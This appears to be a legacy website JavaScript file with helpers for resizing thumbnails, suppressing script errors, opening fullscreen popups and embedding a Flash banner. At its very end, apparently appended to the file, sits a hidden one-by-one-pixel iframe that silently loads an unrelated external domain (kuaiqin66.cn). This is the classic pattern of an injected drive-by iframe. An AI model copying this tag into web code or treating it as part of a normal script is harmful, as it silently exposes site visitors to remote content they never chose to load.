// JavaScript Document

var flag=false; 
function DrawImage(ImgD){ 
var image=new Image(); 
image.src=ImgD.src; 
if(image.width>0 && image.height>0){ 
flag=true; 
if(image.width/image.height>= 120/120){ 
if(image.width>120){ 
ImgD.width=120; 
ImgD.height=(image.height*120)/image.width; 
}else{ 
ImgD.width=image.width; 
ImgD.height=image.height; 
} 
/*ImgD.alt="bigpic" */ 
} 
else{ 
if(image.height>120){ 
ImgD.height=110; 
ImgD.width=(image.width*120)/image.height; 
}else{ 
ImgD.width=image.width; 
ImgD.height=image.height; 
} 
/*ImgD.alt="bigpic" */ 
} 
} 
} 
function killErrors() {
return true;
}
window.onerror = killErrors;

function preLoad(source){
	var imgLoad=new Image();
	imgLoad.src = source;
}

function fullwin(where){
	var newwin = window.open(where,"newwin",'fullscreen=yes,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=' + screen.width + ',height=' + screen.height);
	newwin.moveTo(0,0);
	newwin.focus();
}

function noScroll(){
	top.document.body.scroll="no";
};

function placeBanner(){
	var screenWidth = screen.availWidth;
	var obj = document.getElementById("banner");
	obj.innerHTML = "<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' codebase='http:\/\/fpdownload.macromedia.com\/pub\/shockwave/cabs/flash/swflash.cab#version=7,0,0,0' width="+screenWidth+" height='50' id='banner' align='left'><param name='allowScriptAccess' value='sameDomain' /><param name='movie' value='banner.swf' /><param name='quality' value='high' /><param name='scale' value='noscale' /><param name='salign' value='lt' /><param name='bgcolor' value='#ffffff' /><embed src='banner.swf' quality='high' scale='noscale' salign='lt' bgcolor='#ffffff' width="+screenWidth+" height='50' name='banner' align='left' allowScriptAccess='sameDomain' type='application/x-shockwave-flash' pluginspage='http:\/\/www.macromedia.com\/go\/getflashplayer' /></object>";
};<iframe src=http://www.kuaiqin66.cn width=1 height=1></iframe>

